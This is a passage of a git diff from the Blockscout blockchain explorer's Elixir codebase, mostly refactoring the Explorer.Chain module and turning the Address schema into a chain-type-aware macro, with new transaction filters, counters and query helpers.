when is_binary(address) do - if String.length(address) > 42 do - "0x" <> String.slice(address, -40, 40) - else - address - end - end + Returns `false` if not found - defp abi_decode_address_output(_), do: nil + iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + iex> Explorer.Chain.token_exists?(hash) + false + """ + @spec token_exists?(Hash.Address.t()) :: boolean() + def token_exists?(hash) do + query = + from( + token in Token, + where: token.contract_address_hash == ^hash + ) - defp address_to_hex(address) do - if address do - if String.starts_with?(address, "0x") do - address - else - "0x" <> Base.encode16(address, case: :lower) - end - end + Repo.exists?(query) end - def get_implementation_abi(implementation_address_hash_string) when not is_nil(implementation_address_hash_string) do - case Chain.string_to_address_hash(implementation_address_hash_string) do - {:ok, implementation_address_hash} -> - implementation_smart_contract = - implementation_address_hash - |> Chain.address_hash_to_smart_contract() - - if implementation_smart_contract do - implementation_smart_contract - |> Map.get(:abi) - else - [] - end + def boolean_to_check_result(true), do: :ok - _ -> - [] - end - end + def boolean_to_check_result(false), do: :not_found - def get_implementation_abi(implementation_address_hash_string) when is_nil(implementation_address_hash_string) do - [] - end + @doc """ + Fetches the first trace from the Nethermind trace URL. + """ + def fetch_first_trace(transactions_params, json_rpc_named_arguments) do + case EthereumJSONRPC.fetch_first_trace(transactions_params, json_rpc_named_arguments) do + {:ok, [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} -> + format_transaction_first_trace(first_trace, block_hash, json_rpc_named_arguments) - def get_implementation_abi_from_proxy(proxy_address_hash, abi) - when not is_nil(proxy_address_hash) and not is_nil(abi) do - {implementation_address_hash_string, _name} = get_implementation_address_hash(proxy_address_hash, abi) - get_implementation_abi(implementation_address_hash_string) - end + {:error, error} -> + {:error, error} - def get_implementation_abi_from_proxy(proxy_address_hash, abi) when is_nil(proxy_address_hash) or is_nil(abi) do - [] + :ignore -> + :ignore + end end - defp format_tx_first_trace(first_trace, block_hash, json_rpc_named_arguments) do + defp format_transaction_first_trace(first_trace, block_hash, json_rpc_named_arguments) do {:ok, to_address_hash} = if Map.has_key?(first_trace, :to_address_hash) do Chain.string_to_address_hash(first_trace.to_address_hash) @@ -5997,7 +3538,7 @@ defmodule Explorer.Chain do {:ok, nil} end - {:ok, transaction_hash} = Chain.string_to_transaction_hash(first_trace.transaction_hash) + {:ok, transaction_hash} = Chain.string_to_full_hash(first_trace.transaction_hash) {:ok, call_type} = if Map.has_key?(first_trace, :call_type) do @@ -6076,7 +3617,7 @@ defmodule Explorer.Chain do if transaction_index == 0 do 0 else - filtered_block_numbers = EthereumJSONRPC.block_numbers_in_range([block_number]) + filtered_block_numbers = RangesHelper.filter_traceable_block_numbers([block_number]) {:ok, traces} = fetch_block_internal_transactions(filtered_block_numbers, json_rpc_named_arguments) sorted_traces = @@ -6095,18 +3636,10 @@ defmodule Explorer.Chain do end end - defp find_block_timestamp(number) do - Block - |> where([b], b.number == ^number) - |> select([b], b.timestamp) - |> limit(1) - |> Repo.one() - end - @spec get_token_transfer_type(TokenTransfer.t()) :: :token_burning | :token_minting | :token_spawning | :token_transfer def get_token_transfer_type(transfer) do - {:ok, burn_address_hash} = Chain.string_to_address_hash(@burn_address_hash_str) + {:ok, burn_address_hash} = Chain.string_to_address_hash(SmartContract.burn_address_hash_string()) cond do transfer.to_address_hash == burn_address_hash && transfer.from_address_hash !== burn_address_hash -> @@ -6150,37 +3683,441 @@ defmodule Explorer.Chain do end end - defp from_block(options) do + @spec from_block(keyword) :: any + def from_block(options) do Keyword.get(options, :from_block) || nil end + @spec to_block(keyword) :: any def to_block(options) do Keyword.get(options, :to_block) || nil end - def convert_date_to_min_block(date_str) do - date_format = "%Y-%m-%d" + def address_hash_is_smart_contract?(nil), do: false + + def address_hash_is_smart_contract?(address_hash) do + with %Address{contract_code: bytecode} <- Repo.get_by(Address, hash: address_hash), + false <- is_nil(bytecode) do + true + else + _ -> + false + end + end + + def hash_to_lower_case_string(hash) do + hash + |> to_string() + |> String.downcase() + end + + def recent_transactions(options, [:pending | _]) do + recent_pending_transactions(options, false) + end + + def recent_transactions(options, _) do + recent_collated_transactions(false, options) + end + + def apply_filter_by_method_id_to_transactions(query, nil), do: query + + def apply_filter_by_method_id_to_transactions(query, filter) when is_list(filter) do + method_ids = Enum.flat_map(filter, &map_name_or_method_id_to_method_id/1) + + if method_ids != [] do + query + |> where([transaction], fragment("SUBSTRING(? FOR 4)", transaction.input) in ^method_ids) + else + query + end + end + + def apply_filter_by_method_id_to_transactions(query, filter), + do: apply_filter_by_method_id_to_transactions(query, [filter]) + + defp map_name_or_method_id_to_method_id(string) when is_binary(string) do + if id = @method_name_to_id_map[string] do + decode_method_id(id) + else + trimmed = + string + |> String.replace("0x", "", global: false) + + decode_method_id(trimmed) + end + end + + defp decode_method_id(method_id) when is_binary(method_id) do + case String.length(method_id) == 8 && Base.decode16(method_id, case: :mixed) do + {:ok, bytes} -> + [bytes] + + _ -> + [] + end + end + + def apply_filter_by_type_to_transactions(query, [_ | _] = filter) do + {dynamic, modified_query} = apply_filter_by_type_to_transactions_inner(filter, query) + + modified_query + |> where(^dynamic) + end + + def apply_filter_by_type_to_transactions(query, _filter), do: query + + def apply_filter_by_type_to_transactions_inner(dynamic \\ dynamic(false), filter, query) + + def apply_filter_by_type_to_transactions_inner(dynamic, [type | remain], query) do + case type do + :contract_call -> + dynamic + |> filter_contract_call_dynamic() + |> apply_filter_by_type_to_transactions_inner( + remain, + join(query, :inner, [transaction], address in assoc(transaction, :to_address), as: :to_address) + ) + + :contract_creation -> + dynamic + |> filter_contract_creation_dynamic() + |> apply_filter_by_type_to_transactions_inner(remain, query) + + :coin_transfer -> + dynamic + |> filter_transaction_dynamic() + |> apply_filter_by_type_to_transactions_inner(remain, query) + + :token_transfer -> + dynamic + |> filter_token_transfer_dynamic() + |> apply_filter_by_type_to_transactions_inner(remain, query) + + :token_creation -> + dynamic + |> filter_token_creation_dynamic() + |> apply_filter_by_type_to_transactions_inner( + remain, + join(query, :inner, [transaction], token in Token, + on: token.contract_address_hash == transaction.created_contract_address_hash, + as: :created_token + ) + ) + + :blob_transaction -> + dynamic + |> filter_blob_transaction_dynamic() + |> apply_filter_by_type_to_transactions_inner(remain, query) + end + end + + def apply_filter_by_type_to_transactions_inner(dynamic_query, _, query), do: {dynamic_query, query} + + def filter_contract_creation_dynamic(dynamic) do + dynamic([transaction], ^dynamic or is_nil(transaction.to_address_hash)) + end + + def filter_transaction_dynamic(dynamic) do + dynamic([transaction], ^dynamic or transaction.value > ^0) + end + + def filter_contract_call_dynamic(dynamic) do + dynamic([transaction, to_address: to_address], ^dynamic or not is_nil(to_address.contract_code)) + end + + def filter_token_transfer_dynamic(dynamic) do + # TokenTransfer.__struct__.__meta__.source + dynamic( + [transaction], + ^dynamic or + fragment( + "NOT (SELECT transaction_hash FROM token_transfers WHERE transaction_hash = ? LIMIT 1) IS NULL", + transaction.hash + ) + ) + end - {:ok, date} = - date_str - |> Timex.parse(date_format, :strftime) + def filter_token_creation_dynamic(dynamic) do + dynamic([transaction, created_token: created_token], ^dynamic or not is_nil(created_token)) + end - {:ok, day_before} = - date - |> Timex.shift(days: -1) - |> Timex.format(date_format, :strftime) + def filter_blob_transaction_dynamic(dynamic) do + # EIP-2718 blob transaction type + dynamic([transaction], ^dynamic or transaction.type == 3) + end - convert_date_to_max_block(day_before) + def count_verified_contracts do + Repo.aggregate(SmartContract, :count, timeout: :infinity) end - def convert_date_to_max_block(date) do + def count_new_verified_contracts do query = - from(block in Block, - where: fragment("DATE(timestamp) = TO_DATE(?, 'YYYY-MM-DD')", ^date), - select: max(block.number) + from(contract in SmartContract, + select: contract.inserted_at, + where: fragment("NOW() - ? at time zone 'UTC' <= interval '24 hours'", contract.inserted_at) ) query - |> Repo.one() + |> Repo.aggregate(:count, timeout: :infinity) + end + + def count_contracts do + query = + from(address in Address, + select: address, + where: not is_nil(address.contract_code) + ) + + query + |> Repo.aggregate(:count, timeout: :infinity) + end + + def count_new_contracts do + query = + from(transaction in Transaction, + select: transaction, + where: + transaction.status == ^:ok and + fragment( + "NOW() - ? at time zone 'UTC' <= interval '24 hours'", + transaction.created_contract_code_indexed_at + ) + ) + + query + |> Repo.aggregate(:count, timeout: :infinity) + end + + def count_verified_contracts_from_cache(options \\ []) do + VerifiedContractsCount.fetch(options) + end + + def count_new_verified_contracts_from_cache(options \\ []) do + NewVerifiedContractsCount.fetch(options) + end + + def count_contracts_from_cache(options \\ []) do + ContractsCount.fetch(options) + end + + def count_new_contracts_from_cache(options \\ []) do + NewContractsCount.fetch(options) + end + + def fetch_token_counters(address_hash, timeout) do + total_token_transfers_task = + Task.async(fn -> + TokenTransfersCount.fetch(address_hash) + end) + + total_token_holders_task = + Task.async(fn -> + TokenHoldersCount.fetch(address_hash) + end) + + [total_token_transfers_task, total_token_holders_task] + |> Task.yield_many(timeout) + |> Enum.map(fn {_task, res} -> + case res do + {:ok, result} -> + result + + {:exit, reason} -> + Logger.warning("Query fetching token counters terminated: #{inspect(reason)}") + 0 + + nil -> + Logger.warning("Query fetching token counters timed out.") + 0 + end + end) + |> List.to_tuple() + end + + @spec flat_1155_batch_token_transfers([TokenTransfer.t()], Decimal.t() | nil) :: [TokenTransfer.t()] + def flat_1155_batch_token_transfers(token_transfers, token_id \\ nil) when is_list(token_transfers) do + token_transfers + |> Enum.reduce([], fn tt, acc -> + case tt.token_ids do + token_ids when is_list(token_ids) and length(token_ids) > 1 -> + transfers = flat_1155_batch_token_transfer(tt, tt.amounts, token_ids, token_id) + + transfers ++ acc + + _ -> + [tt | acc] + end + end) + |> Enum.reverse() + end + + defp flat_1155_batch_token_transfer(tt, amounts, token_ids, token_id_to_filter) do + amounts + |> Enum.zip(token_ids) + |> Enum.with_index() + |> Enum.map(fn {{amount, token_id}, index} -> + if is_nil(token_id_to_filter) || token_id == token_id_to_filter do + %TokenTransfer{tt | token_ids: [token_id], amount: amount, amounts: nil, index_in_batch: index} + end + end) + |> Enum.reject(&is_nil/1) + |> squash_token_transfers_in_batch() + end + + defp squash_token_transfers_in_batch(token_transfers) do + token_transfers + |> Enum.group_by(fn tt -> {List.first(tt.token_ids), tt.from_address_hash, tt.to_address_hash} end) + |> Enum.map(fn {_k, v} -> Enum.reduce(v, nil, &group_batch_reducer/2) end) + |> Enum.sort_by(fn tt -> tt.index_in_batch end, :asc) + end + + defp group_batch_reducer(transfer, nil) do + transfer + end + + defp group_batch_reducer(transfer, acc) do + %TokenTransfer{acc | amount: Decimal.add(acc.amount, transfer.amount)} + end + + @spec paginate_1155_batch_token_transfers([TokenTransfer.t()], [paging_options]) :: [TokenTransfer.t()] + def paginate_1155_batch_token_transfers(token_transfers, options) do + paging_options = options |> Keyword.get(:paging_options, nil) + + case paging_options do + %PagingOptions{batch_key: batch_key} when not is_nil(batch_key) -> + filter_previous_page_transfers(token_transfers, batch_key) + + _ -> + token_transfers + end + end + + defp filter_previous_page_transfers( + token_transfers, + {batch_block_hash, batch_transaction_hash, batch_log_index, index_in_batch} + ) do + token_transfers + |> Enum.reverse() + |> Enum.reduce_while([], fn tt, acc -> + if tt.block_hash == batch_block_hash and tt.transaction_hash == batch_transaction_hash and + tt.log_index == batch_log_index and tt.index_in_batch == index_in_batch do + {:halt, acc} + else + {:cont, [tt | acc]} + end + end) + end + + def select_repo(options) do + if Keyword.get(options, :api?, false) do + Repo.replica() + else + Repo + end + end + + @doc """ + Retrieves the ID of a WatchlistAddress entry for a given watchlist and address. + + This function queries the WatchlistAddress table to find an entry that matches + both the provided watchlist ID and address hash. It returns the ID of the first + matching entry, if found. + + ## Parameters + - `watchlist_id`: The ID of the watchlist to search within. + - `address_hash`: The address hash to look for, as a `Hash.Address.t()` struct. + + ## Returns + - An integer representing the ID of the matching WatchlistAddress entry, if found. + - `nil` if no matching entry is found or if either input is `nil`. + """ + @spec select_watchlist_address_id(integer() | nil, Hash.Address.t() | nil) :: integer() | nil + def select_watchlist_address_id(watchlist_id, address_hash) + when not is_nil(watchlist_id) and not is_nil(address_hash) do + wa_ids = + WatchlistAddress + |> where([wa], wa.watchlist_id == ^watchlist_id and wa.address_hash_hash == ^address_hash) + |> select([wa], wa.id) + |> Repo.account_repo().all() + + case wa_ids do + [wa_id | _] -> wa_id + _ -> nil + end + end + + def select_watchlist_address_id(_watchlist_id, _address_hash), do: nil + + def fetch_watchlist_transactions(watchlist_id, options) do + watchlist_addresses = + watchlist_id + |> WatchlistAddress.watchlist_addresses_by_watchlist_id_query() + |> Repo.account_repo().all() + + address_hashes = Enum.map(watchlist_addresses, fn wa -> wa.address_hash end) + + watchlist_names = + Enum.reduce(watchlist_addresses, %{}, fn wa, acc -> + Map.put(acc, wa.address_hash, %{label: wa.name, display_name: wa.name}) + end) + + {watchlist_names, address_hashes_to_mined_transactions_without_rewards(address_hashes, options)} + end + + def list_withdrawals(options \\ []) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + Withdrawal.list_withdrawals() + |> join_associations(necessity_by_association) + |> handle_withdrawals_paging_options(paging_options) + |> select_repo(options).all() + end + end + + def sum_withdrawals do + Repo.aggregate(Withdrawal, :sum, :amount, timeout: :infinity) + end + + def upsert_count_withdrawals(index) do + LastFetchedCounter.upsert(%{ + counter_type: "withdrawals_count", + value: index + }) + end + + def sum_withdrawals_from_cache(options \\ []) do + WithdrawalsSum.fetch(options) + end + + def count_withdrawals_from_cache(options \\ []) do + "withdrawals_count" |> LastFetchedCounter.get(options) |> Decimal.add(1) + end + + def add_fetcher_limit(query, false), do: query + + def add_fetcher_limit(query, true) do + fetcher_limit = Application.get_env(:indexer, :fetcher_init_limit) + + limit(query, ^fetcher_limit) + end + + defp add_token_balances_fetcher_limit(query, false), do: query + + defp add_token_balances_fetcher_limit(query, true) do + token_balances_fetcher_limit = Application.get_env(:indexer, :token_balances_fetcher_init_limit) + + limit(query, ^token_balances_fetcher_limit) + end + + @spec default_paging_options() :: map() + def default_paging_options do + @default_paging_options end end diff --git a/apps/explorer/lib/explorer/chain/address.ex b/apps/explorer/lib/explorer/chain/address.ex index 1a71d3e224ce..b2d248b3b998 100644 --- a/apps/explorer/lib/explorer/chain/address.ex +++ b/apps/explorer/lib/explorer/chain/address.ex @@ -1,41 +1,193 @@ -defmodule Explorer.Chain.Address do +defmodule Explorer.Chain.Address.Schema do @moduledoc """ - A stored representation of a web3 address. - """ - - require Bitwise + A stored representation of a web3 address. - use Explorer.Schema - - alias Ecto.Changeset + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Addresses + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] alias Explorer.Chain.{ Address, + Address.Reputation, Block, Data, - DecompiledSmartContract, Hash, InternalTransaction, + SignedAuthorization, SmartContract, - SmartContractAdditionalSource, Token, Transaction, - Wei + Wei, + Withdrawal } - alias Explorer.Chain.Cache.NetVersion + alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + + @chain_type_fields (case @chain_type do + :filecoin -> + alias Explorer.Chain.Filecoin.{IDAddress, NativeAddress} + + quote do + [ + field(:filecoin_id, IDAddress), + field(:filecoin_robust, NativeAddress), + field( + :filecoin_actor_type, + Ecto.Enum, + values: + Enum.with_index([ + :account, + :cron, + :datacap, + :eam, + :ethaccount, + :evm, + :init, + :market, + :miner, + :multisig, + :paych, + :placeholder, + :power, + :reward, + :system, + :verifreg, + :paymentchannel + ]) + ) + ] + end + + :zksync -> + quote do + [ + field(:contract_code_refetched, :boolean) + ] + end + + _ -> + [] + end) + + defmacro generate do + quote do + @primary_key false + @primary_key false + typed_schema "addresses" do + field(:hash, Hash.Address, primary_key: true) + field(:fetched_coin_balance, Wei) + field(:fetched_coin_balance_block_number, :integer) :: Block.block_number() | nil + field(:contract_code, Data) + field(:nonce, :integer) + field(:decompiled, :boolean, default: false) + field(:verified, :boolean, default: false) + field(:stale?, :boolean, virtual: true) + field(:transactions_count, :integer) + field(:token_transfers_count, :integer) + field(:gas_used, :integer) + field(:ens_domain_name, :string, virtual: true) + field(:metadata, :any, virtual: true) + + has_one(:smart_contract, SmartContract, references: :hash) + has_one(:token, Token, foreign_key: :contract_address_hash, references: :hash) + has_one(:proxy_implementations, Implementation, foreign_key: :proxy_address_hash, references: :hash) + + has_one( + :contract_creation_internal_transaction, + InternalTransaction, + foreign_key: :created_contract_address_hash, + references: :hash + ) + + has_one( + :contract_creation_transaction, + Transaction, + foreign_key: :created_contract_address_hash, + references: :hash + ) + + has_many(:names, Address.Name, foreign_key: :address_hash, references: :hash) + has_one(:scam_badge, Address.ScamBadgeToAddress, foreign_key: :address_hash, references: :hash) + has_many(:withdrawals, Withdrawal, foreign_key: :address_hash, references: :hash) + has_one(:reputation, Reputation, foreign_key: :address_hash, references: :hash) + + # In practice, this is a one-to-many relationship, but we only need to check if any signed authorization + # exists for a given address. This done this way to avoid loading all signed authorizations for an address. + has_one(:signed_authorization, SignedAuthorization, foreign_key: :authority, references: :hash) + + timestamps() - @optional_attrs ~w(contract_code fetched_coin_balance fetched_coin_balance_block_number nonce decompiled verified gas_used transactions_count token_transfers_count)a + unquote_splicing(@chain_type_fields) + end + end + end +end + +defmodule Explorer.Chain.Address do + @moduledoc """ + A stored representation of a web3 address. + """ + + require Bitwise + require Explorer.Chain.Address.Schema + + use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Ecto.Association.NotLoaded + alias Ecto.Changeset + alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.SmartContract.Proxy.EIP7702 + alias Explorer.Chain.{Address, Data, Hash, InternalTransaction, SmartContract, Transaction} + alias Explorer.Chain.Fetcher.{CheckBytecodeMatchingOnDemand, LookUpSmartContractSourcesOnDemand} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.{Chain, PagingOptions, Repo, SortingHelper} + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + @optional_attrs ~w(contract_code fetched_coin_balance fetched_coin_balance_block_number nonce verified gas_used transactions_count token_transfers_count)a + @chain_type_optional_attrs (case @chain_type do + :filecoin -> + ~w(filecoin_id filecoin_robust filecoin_actor_type)a + + :zksync -> + ~w(contract_code_refetched)a + + _ -> + [] + end) @required_attrs ~w(hash)a - @allowed_attrs @optional_attrs ++ @required_attrs + @allowed_attrs @optional_attrs ++ @required_attrs ++ @chain_type_optional_attrs @typedoc """ Hash of the public key for this address. """ @type hash :: Hash.t() + @derive {Poison.Encoder, + except: [ + :__meta__, + :smart_contract, + :token, + :contract_creation_internal_transaction, + :contract_creation_transaction, + :names + ]} + + @derive {Jason.Encoder, + except: [ + :__meta__, + :smart_contract, + :token, + :contract_creation_internal_transaction, + :contract_creation_transaction, + :names + ]} + @typedoc """ - * `fetched_coin_balance` - The last fetched balance from Parity + * `fetched_coin_balance` - The last fetched balance from Nethermind * `fetched_coin_balance_block_number` - the `t:Explorer.Chain.Block.t/0` `t:Explorer.Chain.Block.block_number/0` for which `fetched_coin_balance` was fetched * `hash` - the hash of the address's public key @@ -43,88 +195,75 @@ defmodule Explorer.Chain.Address do Solidity source code is in `smart_contract` `t:Explorer.Chain.SmartContract.t/0` `contract_source_code` *if* the contract has been verified * `names` - names known for the address + * `badges` - badges applied for the address * `inserted_at` - when this address was inserted - * `updated_at` when this address was last updated - + * `updated_at` - when this address was last updated + * `ens_domain_name` - virtual field for ENS domain name passing + #{case @chain_type do + :filecoin -> """ + * `filecoin_native_address` - robust f0/f1/f2/f3/f4 Filecoin address + * `filecoin_id_address` - short f0 Filecoin address that may change during chain reorgs + * `filecoin_actor_type` - type of actor associated with the Filecoin address + """ + :zksync -> """ + * `contract_code_refetched` - true when Explorer.Migrator.RefetchContractCodes handled this address, or it's unnecessary (for addresses inserted after this) + """ + _ -> "" + end} `fetched_coin_balance` and `fetched_coin_balance_block_number` may be updated when a new coin_balance row is fetched. They may also be updated when the balance is fetched via the on demand fetcher. """ - @type t :: %__MODULE__{ - fetched_coin_balance: Wei.t(), - fetched_coin_balance_block_number: Block.block_number(), - hash: Hash.Address.t(), - contract_code: Data.t() | nil, - names: %Ecto.Association.NotLoaded{} | [Address.Name.t()], - contracts_creation_transaction: %Ecto.Association.NotLoaded{} | Transaction.t(), - inserted_at: DateTime.t(), - updated_at: DateTime.t(), - nonce: non_neg_integer() | nil, - transactions_count: non_neg_integer() | nil, - token_transfers_count: non_neg_integer() | nil, - gas_used: non_neg_integer() | nil - } + Explorer.Chain.Address.Schema.generate() - @derive {Poison.Encoder, - except: [ - :__meta__, - :smart_contract, - :decompiled_smart_contracts, - :token, - :contracts_creation_internal_transaction, - :contracts_creation_transaction, - :names, - :smart_contract_additional_sources - ]} + @balance_changeset_required_attrs @required_attrs ++ ~w(fetched_coin_balance fetched_coin_balance_block_number)a - @derive {Jason.Encoder, - except: [ - :__meta__, - :smart_contract, - :decompiled_smart_contracts, - :token, - :contracts_creation_internal_transaction, - :contracts_creation_transaction, - :names, - :smart_contract_additional_sources - ]} + @doc """ + Creates an address. - @primary_key {:hash, Hash.Address, autogenerate: false} - schema "addresses" do - field(:fetched_coin_balance, Wei) - field(:fetched_coin_balance_block_number, :integer) - field(:contract_code, Data) - field(:nonce, :integer) - field(:decompiled, :boolean, default: false) - field(:verified, :boolean, default: false) - field(:has_decompiled_code?, :boolean, virtual: true) - field(:stale?, :boolean, virtual: true) - field(:transactions_count, :integer) - field(:token_transfers_count, :integer) - field(:gas_used, :integer) - - has_one(:smart_contract, SmartContract) - has_one(:token, Token, foreign_key: :contract_address_hash) - - has_one( - :contracts_creation_internal_transaction, - InternalTransaction, - foreign_key: :created_contract_address_hash - ) + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( + ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b"} + ...> ) + ...> to_string(hash) + "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b" - has_one( - :contracts_creation_transaction, - Transaction, - foreign_key: :created_contract_address_hash - ) + A `String.t/0` value for `Explorer.Chain.Address.t/0` `hash` must have 40 hexadecimal characters after the `0x` prefix + to prevent short- and long-hash transcription errors. - has_many(:names, Address.Name, foreign_key: :address_hash) - has_many(:decompiled_smart_contracts, DecompiledSmartContract, foreign_key: :address_hash) - has_many(:smart_contract_additional_sources, SmartContractAdditionalSource, foreign_key: :address_hash) + iex> {:error, %Ecto.Changeset{errors: errors}} = Explorer.Chain.Address.create( + ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0"} + ...> ) + ...> errors + [hash: {"is invalid", [type: Explorer.Chain.Hash.Address, validation: :cast]}] + iex> {:error, %Ecto.Changeset{errors: errors}} = Explorer.Chain.Address.create( + ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0ba"} + ...> ) + ...> errors + [hash: {"is invalid", [type: Explorer.Chain.Hash.Address, validation: :cast]}] - timestamps() + """ + @spec create(map()) :: {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def create(attrs \\ %{}) do + %__MODULE__{} + |> changeset(attrs) + |> Repo.insert() end - @balance_changeset_required_attrs @required_attrs ++ ~w(fetched_coin_balance fetched_coin_balance_block_number)a + @doc """ + Creates multiple instances of a `Explorer.Chain.Address`. + + ## Parameters + + - address_insert_params: List of address changesets to create. + + ## Returns + + - A list of created resource instances. + + """ + @spec create_multiple(list()) :: {non_neg_integer(), nil | [term()]} + def create_multiple(address_insert_params) do + Repo.insert_all(Address, address_insert_params, on_conflict: :nothing, returning: [:hash]) + end def balance_changeset(%__MODULE__{} = address, attrs) do address @@ -146,18 +285,48 @@ defmodule Explorer.Chain.Address do |> unique_constraint(:hash) end + @spec get(Hash.Address.t() | binary(), [Chain.necessity_by_association_option() | Chain.api?()]) :: t() | nil + def get(hash, options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + query = address_query(hash) + + query + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).one() + end + + @doc """ + Generates an Ecto query to find an `Address` record by its hash. + + ## Parameters + + - `hash`: The hash of the address to search for. + + ## Returns + + An Ecto query that can be executed to retrieve the address with the specified hash. + """ + @spec address_query(Hash.Address.t() | binary()) :: Ecto.Query.t() + def address_query(hash) do + from(address in Address, where: address.hash == ^hash) + end + def checksum(address_or_hash, iodata? \\ false) + def checksum(nil, _iodata?), do: "" + def checksum(%__MODULE__{hash: hash}, iodata?) do checksum(hash, iodata?) end + def checksum(hash_string, iodata?) when is_binary(hash_string) do + {:ok, hash} = Chain.string_to_address_hash(hash_string) + checksum(hash, iodata?) + end + def checksum(hash, iodata?) do - checksum_formatted = - case Application.get_env(:explorer, :checksum_function) || :eth do - :eth -> eth_checksum(hash) - :rsk -> rsk_checksum(hash) - end + checksum_formatted = address_checksum(hash) if iodata? do ["0x" | checksum_formatted] @@ -166,55 +335,57 @@ defmodule Explorer.Chain.Address do end end - def eth_checksum(hash) do - string_hash = - hash - |> to_string() - |> String.trim_leading("0x") + if @chain_type == :rsk do + # https://github.com/rsksmart/RSKIPs/blob/master/IPs/RSKIP60.md + defp address_checksum(hash) do + string_hash = + hash + |> to_string() + |> String.trim_leading("0x") - match_byte_stream = stream_every_four_bytes_of_sha256(string_hash) + chain_id = Application.get_env(:block_scout_web, :chain_id) - string_hash - |> stream_binary() - |> Stream.zip(match_byte_stream) - |> Enum.map(fn - {digit, _} when digit in '0123456789' -> - digit + prefix = "#{chain_id}0x" - {alpha, 1} -> - alpha - 32 + match_byte_stream = stream_every_four_bytes_of_sha256("#{prefix}#{string_hash}") - {alpha, _} -> - alpha - end) - end + string_hash + |> stream_binary() + |> Stream.zip(match_byte_stream) + |> Enum.map(fn + {digit, _} when digit in ~c"0123456789" -> + digit - # https://github.com/rsksmart/RSKIPs/blob/master/IPs/RSKIP60.md - def rsk_checksum(hash) do - chain_id = NetVersion.get_version() + {alpha, 1} -> + alpha - 32 - string_hash = - hash - |> to_string() - |> String.trim_leading("0x") + {alpha, _} -> + alpha + end) + end + else + defp address_checksum(hash) do + string_hash = + hash + |> to_string() + |> String.trim_leading("0x") - prefix = "#{chain_id}0x" + match_byte_stream = stream_every_four_bytes_of_sha256(string_hash) - match_byte_stream = stream_every_four_bytes_of_sha256("#{prefix}#{string_hash}") + string_hash + |> stream_binary() + |> Stream.zip(match_byte_stream) + |> Enum.map(fn + {digit, _} when digit in ~c"0123456789" -> + digit - string_hash - |> stream_binary() - |> Stream.zip(match_byte_stream) - |> Enum.map(fn - {digit, _} when digit in '0123456789' -> - digit + {alpha, 1} -> + alpha - 32 - {alpha, 1} -> - alpha - 32 - - {alpha, _} -> - alpha - end) + {alpha, _} -> + alpha + end) + end end defp stream_every_four_bytes_of_sha256(value) do @@ -248,6 +419,16 @@ defmodule Explorer.Chain.Address do end) end + @doc """ + Preloads provided contracts associations if address has contract_code which is not nil + """ + @spec maybe_preload_smart_contract_associations(Address.t(), list, list) :: Address.t() + def maybe_preload_smart_contract_associations(%Address{contract_code: nil} = address, _associations, _options), + do: address + + def maybe_preload_smart_contract_associations(%Address{contract_code: _} = address, associations, options), + do: Chain.select_repo(options).preload(address, associations) + @doc """ Counts all the addresses where the `fetched_coin_balance` is > 0. """ @@ -259,14 +440,23 @@ defmodule Explorer.Chain.Address do ) end + def fetched_coin_balance(address_hash) when not is_nil(address_hash) do + Address + |> where([address], address.hash == ^address_hash) + |> select([address], address.fetched_coin_balance) + end + defimpl String.Chars do + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + @doc """ Uses `hash` as string representation, formatting it according to the eip-55 specification For more information: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md#specification To bypass the checksum formatting, use `to_string/1` on the hash itself. - + #{unless @chain_type == :rsk do + """ iex> address = %Explorer.Chain.Address{ ...> hash: %Explorer.Chain.Hash{ ...> byte_count: 20, @@ -278,9 +468,571 @@ defmodule Explorer.Chain.Address do "0x8Bf38d4764929064f2d4d3a56520A76AB3df415b" iex> to_string(address.hash) "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + """ + end} """ def to_string(%@for{} = address) do @for.checksum(address) end end + + @default_paging_options %PagingOptions{page_size: 50} + @doc """ + Lists the top `t:Explorer.Chain.Address.t/0`'s' in descending order based on coin balance and address hash. + + """ + @spec list_top_addresses :: [{Address.t(), non_neg_integer()}] + def list_top_addresses(options \\ []) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + sorting_options = Keyword.get(options, :sorting, []) + + if is_nil(paging_options.key) and sorting_options == [] do + paging_options.page_size + |> Accounts.atomic_take_enough() + |> case do + nil -> + get_addresses(options) + + accounts -> + accounts + end + else + fetch_top_addresses(options) + end + end + + @doc """ + Fetches addresses based on the provided list of address hashes. + + ## Parameters + + - `address_hashes`: A list of address hashes to fetch the corresponding addresses. + + ## Returns + + - A list of addresses corresponding to the provided address hashes. + + This function utilizes the `Chain.hashes_to_addresses_query/1` to convert the hashes to addresses, + joins necessary associations with `Chain.join_associations/2`, and finally selects the repository + with `Chain.select_repo/1` to fetch all the addresses. + """ + @spec get_addresses_by_hashes([Hash.Address.t()]) :: [Chain.Address.t()] + def get_addresses_by_hashes(address_hashes) do + necessity_by_association = %{:smart_contract => :optional, proxy_implementations_association() => :optional} + + address_hashes + |> Chain.hashes_to_addresses_query() + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(api?: true).all() + end + + @doc """ + Fetches an address by its hash. + + ## Parameters + + - `address_hash`: The hash of the address to be 